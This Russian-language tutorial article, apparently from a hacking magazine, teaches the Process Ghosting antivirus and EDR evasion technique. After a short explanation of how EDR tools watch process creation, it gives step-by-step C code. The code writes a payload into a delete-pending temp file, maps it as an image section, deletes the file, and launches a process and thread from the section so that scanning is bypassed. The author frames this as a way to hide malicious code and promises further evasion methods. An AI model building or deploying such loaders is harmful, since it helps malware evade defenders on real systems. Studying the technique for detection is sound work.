March 17

Process Ghosting. Как работает одна из опаснейших техник обхода антивирусов

  1. Как работает мониторинг EDR (Endpoint Detection and Response)
  2. Кодим!
  3. Выводы

Раз­личные спо­собы скры­тия работы сво­его кода пос­тоян­но будора­жат хакер­ские умы. В этой статье я покажу, как запус­кать про­цес­сы при помощи тех­ники Process Ghosting, а затем раз­берем, как работа­ют сис­темы обна­руже­ния вре­донос­ного кода.

Как‑то я уже рас­ска­зывал об одной подоб­ной тех­нике под наз­вани­ем Process Doppelganging. С того вре­мени появи­лись дру­гие, более сов­ремен­ные тех­ники запус­ка кода под прик­рыти­ем легитим­ных про­цес­сов.

Process Ghosting — одна из наибо­лее акту­аль­ных в дан­ный момент тех­ник. С ее помощью зло­умыш­ленник может орга­низо­вать запуск сво­его кода из уже уда­лен­ного фай­ла. Этот при­ем час­то исполь­зует­ся в боевой мал­вари. Но что­бы понять, как он работа­ет, сна­чала раз­берем мат­часть.

В статье будут исполь­зовать­ся фун­кции NTAPI. Напоми­наю, что их нель­зя прос­то так вызывать, нуж­но получать их динами­чес­ки из ntdll.dll.

КАК РАБОТАЕТ МОНИТОРИНГ EDR (ENDPOINT DETECTION AND RESPONSE)

Средс­тва EDR час­то монито­рят соз­дание про­цес­сов при помощи раз­ных фун­кций, нап­ример вот этих:

  • PsSetCreateProcessNotifyRoutineEx;
  • PsSetCreateProcessNotifyRoutineEx2;
  • PsSetCreateProcessNotifyRoutine.

Файл ска­ниру­ется при запус­ке, а точ­нее — при соз­дании про­цес­са. Вот про­тоти­пы перечис­ленных фун­кций:

NTSTATUS PsSetCreateProcessNotifyRoutine( // Callback-функция обработчика [in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine, [in] BOOLEAN Remove); NTSTATUS PsSetCreateProcessNotifyRoutineEx( // Callback-функция обработчика [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove); NTSTATUS PsSetCreateProcessNotifyRoutineEx2( // Callback-функция обработчика [in] PSCREATEPROCESSNOTIFYTYPE NotifyType, [in] PVOID NotifyInformation, [in] BOOLEAN Remove);

Об­рати вни­мание: ска­ниро­вание про­исхо­дит имен­но при запус­ке про­цес­са, а не в каких‑то дру­гих слу­чаях. Разуме­ется, дела­ется это ради эко­номии ресур­сов, ина­че ска­ниро­вание всех фай­лов в сис­теме заняло бы очень мно­го вре­мени, осо­бен­но при опе­раци­ях записи.

Для EDR все идет по пла­ну, если для соз­дания про­цес­са исполь­зует­ся фун­кция NtCreateUserProcess (сов­ремен­ный NTAPI, дос­тупный со вре­мен Windows Vista), потому что она берет на себя поч­ти всю работу по соз­данию про­цес­са и пер­вого потока. Все дей­ствия про­исхо­дят в ее кон­тек­сте: соз­дает­ся пер­вый поток про­цес­са, про­изво­дит­ся вызов кол­бэков из PsSetCreateProcessNotifyRoutineEx и так далее. На все это слож­но как‑то пов­лиять с нашей сто­роны. И имен­но при таком сце­нарии эффектив­ны защит­ные средс­тва EDR, потому что они рас­счи­тыва­ют, что про­цесс будет соз­дан имен­но через NtCreateUserProcess.

Этот вызов NTAPI исполь­зуют и стан­дар­тные API типа CreateProcess (CreateProcessCreateProcessInternalWNtCreateUserProcess) или RtlCreateUserProcess (RtlCreateUserProcessExRtlpCreateUserProcessNtCreateUserProcess). То есть, гру­бо говоря, даже если ты пишешь код, исполь­зуя WinAPI, что ред­кость само по себе, то все рав­но в ито­ге будет выз­вана «пра­виль­ная» фун­кция NtCreateUserProcess, удов­летво­ряющая тре­бова­ниям средств EDR.

Но все меня­ется, если про­цесс соз­дает­ся при помощи фун­кции NtCreateProcessEx. Она ста­рее NtCreateUserProcess и оставле­на в Windows для обратной сов­мести­мос­ти. Дело в том, что эта фун­кция поз­воля­ет соз­давать про­цесс в более «руч­ном» режиме, где мож­но вли­ять на сам про­цесс соз­дания и запус­ка потоков из поль­зователь­ско­го режима. В том чис­ле это воз­можно, если под­менять или уда­лять фай­лы и про­цес­сы или уста­нав­ливать нуж­ные фла­ги, что мы, собс­твен­но, и сде­лали. Мы приш­ли к тому, что наш исполня­емый код остался толь­ко в памяти и избе­жал ска­ниро­вания, потому что был уже уда­лен с жес­тко­го дис­ка до соз­дания его пер­вого потока.

КОДИМ!

Те­оре­тичес­кая кар­тина нам ясна, нач­нем прог­рамми­ровать. Давай пос­мотрим, что нуж­но, что­бы реали­зовать Process Ghosting.

На­чина­ется все с соз­дания вре­мен­ного фай­ла, который мы потом уда­лим. Я буду соз­давать файл при помощи NTAPI-фун­кции NtCreateFile (не забыва­ем выдать пра­ва на уда­ление, запись и про­чее). Раз­местим, само собой, в пап­ке для вре­мен­ных фай­лов.

HANDLE hProcess = INVALID_HANDLE_VALUE; HANDLE hSection = INVALID_HANDLE_VALUE; HANDLE hTempFile = INVALID_HANDLE_VALUE; HANDLE hThread = INVALID_HANDLE_VALUE; wchar_t filename[MAX_PATH] = { 0 }; wchar_t path_of_tempfile[MAX_PATH] = { 0 }; UNICODE_STRING file_name = { 0 }; IO_STATUS_BLOCK io_stat_block = { 0 }; OBJECT_ATTRIBUTES attributes = { 0 }; wstring nt_path = L"\\??\\" + wstring(filePath); DWORD tempfile_size = GetTempPathW(MAX_PATH, path_of_tempfile); GetTempFileNameW(path_of_tempfile, L"TEMP", 0, filename); if (tempfile_size > MAX_PATH || (tempfile_size == 0)) return 1; RtlInitUnicodeString(&file_name, nt_path.c_str()); InitializeObjectAttributes(&attributes, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL); NTSTATUS status = NtOpenFile(&hTempFile, DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, &attributes, &io_stat_block, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Те­перь необ­ходимо пометить файл как при­готов­ленный к уда­лению. Для это­го будем исполь­зовать фун­кцию NtSetInformationFile, задав зна­чение пос­ледне­го аргу­мен­та как FileDispositionInformation. Таким обра­зом нашему фай­лу будет прис­воен флаг DeletePending. С это­го момен­та опе­раци­онная сис­тема будет готова сра­зу уда­лить файл, как толь­ко зак­роет­ся его дес­крип­тор.

FILE_DISPOSITION_INFORMATION info = { 0 }; info.DeleteFile = TRUE; status = NtSetInformationFile(hTempFile, &io_status_block, &info, sizeof(info), FileDispositionInformation); if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Те­перь пишем наш код (фун­кция NtWriteFile), который хотим выпол­нить в обход средств монито­рин­га, в соз­данный вре­мен­ный файл.

LARGE_INTEGER offset = { 0 }; status = NtWriteFile( hTempFile, NULL, NULL, NULL, &status_block, // Буфер с нашей полезной нагрузкой myCodeBuf, // Размер полезной нагрузки myCodeSize, &offset, NULL); if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

Из нашего вре­мен­ного фай­ла соз­даем объ­ект «сек­ция» при помощи вызова фун­кции NtCreateSection. Не забыва­ем про пра­виль­ные аргу­мен­ты фун­кции: PAGE_READONLY и SEC_IMAGE, которые будут ука­зывать на то, что мы работа­ем с исполня­емым фай­лом обра­за.

status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, // Создаем секцию из временного файла hTempFile); if (status != STATUS_SUCCESS) return INVALID_HANDLE_VALUE;

Сей­час мы можем зак­рыть дес­крип­тор вре­мен­ного фай­ла (вызовом NtClose). Пос­коль­ку наш вре­мен­ный файл был соз­дан с фла­гом DeletePending (ожи­дающий уда­ления), то зак­рытие дес­крип­тора при­водит к немед­ленно­му уда­лению фай­ла силами ОС.

NtClose(hTempFile);

Соз­даем про­цесс из нашей сек­ции. В резуль­тате получим хендл нового про­цес­са, который будем исполь­зовать далее для соз­дания потока внут­ри нашего про­цес­са.

status = NtCreateProcessEx( &hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, // Наша секция, которую мы создали на предыдущем шаге hSection, NULL, NULL, FALSE); if (status != STATUS_SUCCESS) return 1;

Да­лее, что­бы наш поток смог запус­тить­ся в ОС, мы дол­жны нас­тро­ить PEB и нас­тро­ить парамет­ры про­цес­са.

Сна­чала зай­мем­ся парамет­рами:

UNICODE_STRING ImagePath = { 0 }; UNICODE_STRING DllPath = { 0 }; wchar_t curDirPath[MAX_PATH] = { 0 }; UNICODE_STRING CurrentDirectory = { 0 }; UNICODE_STRING WindowTitle = { 0 }; wchar_t dllSystemDir[] = L"C:\\Windows\\System32";wchar_t* windowTitle = (LPWSTR)L"Calculator"; PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr; LPVOID Environment; RtlInitUnicodeString(&ImagePath, victimPath); GetCurrentDirectoryW(MAX_PATH, curDirPath); RtlInitUnicodeString(&CurrentDirectory, curDirPath); RtlInitUnicodeString(&DllPath, dllSystemDir); RtlInitUnicodeString(&WindowTitle, windowTitle); CreateEnvironmentBlock(&Environment, NULL, TRUE); NTSTATUS status = RtlCreateProcessParametersEx( &pProcessParams, (PUNICODE_STRING)&ImagePath, (PUNICODE_STRING)&DllPath, (PUNICODE_STRING)&CurrentDirectory, (PUNICODE_STRING)&ImagePath, Environment, (PUNICODE_STRING)&WindowTitle, nullptr, nullptr, nullptr, RTL_USER_PROC_PARAMS_NORMALIZED); if (status != STATUS_SUCCESS) return 1;

За­пишем парамет­ры в про­цесс (опус­каю бес­конеч­ные if, нуж­ные для про­вер­ки кор­рек­тнос­ти вызовов):

VirtualAllocEx(hProcess, (LPVOID)pProcessParams, pProcessParams->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(hProcess, (LPVOID)pProcessParams, (LPVOID)pProcessParams, pProcessParams->Length, NULL); VirtualAllocEx(hProcess, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); WriteProcessMemory(hProcess, (LPVOID)pProcessParams->Environment, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, NULL);

Те­перь нас­тро­им PEB. На самом деле это стан­дар­тная про­цеду­ра, при­меня­емая при запус­ке подоб­ных про­цес­сов через NtCreateProcessEx и подоб­ные фун­кции. Такое встре­чает­ся в любом коде, она не харак­терна имен­но для Process Ghosting.

PEB peb_struct = { 0 }; PROCESS_BASIC_INFORMATION pbi = { 0 }; SIZE_T count = 0; DWORD RetLen = 0; status = NtQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &RetLen); if (status != STATUS_SUCCESS) return 1; ULONGLONG pebBaseAddress = (ULONGLONG)pbi.PebBaseAddress; ULONGLONG param_offset = (ULONGLONG)&peb_struct.ProcessParameters - (ULONGLONG)&peb_struct; LPVOID new_image_base = (LPVOID)(pebBaseAddress + param_offset); if (!WriteProcessMemory(hProcess, new_image_base, &pProcessParams, sizeof(PVOID), &count)) return 1;

Соз­даем пер­вый поток в нашем про­цес­се при помощи фун­кции NtCreateThreadEx.

status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)processEntryPoint, // Вычисляем его по формуле processEntryPoint = PEB.ImageBaseAddress + EntryPoint нашего внедряемого кода NULL, FALSE, 0, 0, 0, NULL); if (status != STATUS_SUCCESS) return 1;

ВЫВОДЫ

Вот ты и научил­ся запус­кать про­цес­сы при помощи Process Ghosting! Но рас­слаб­лять­ся рано. Методы скры­тия выпол­нения кода — это толь­ко один из шагов к тому, что­бы добить­ся пол­ноцен­ной невиди­мос­ти. Кро­ме того, имен­но этот метод оставля­ет в памяти некото­рые арте­фак­ты, но его мож­но скре­щивать с дру­гими тех­никами, что­бы избе­жать обна­руже­ния. В общем, мы еще про­дол­жим эту тему!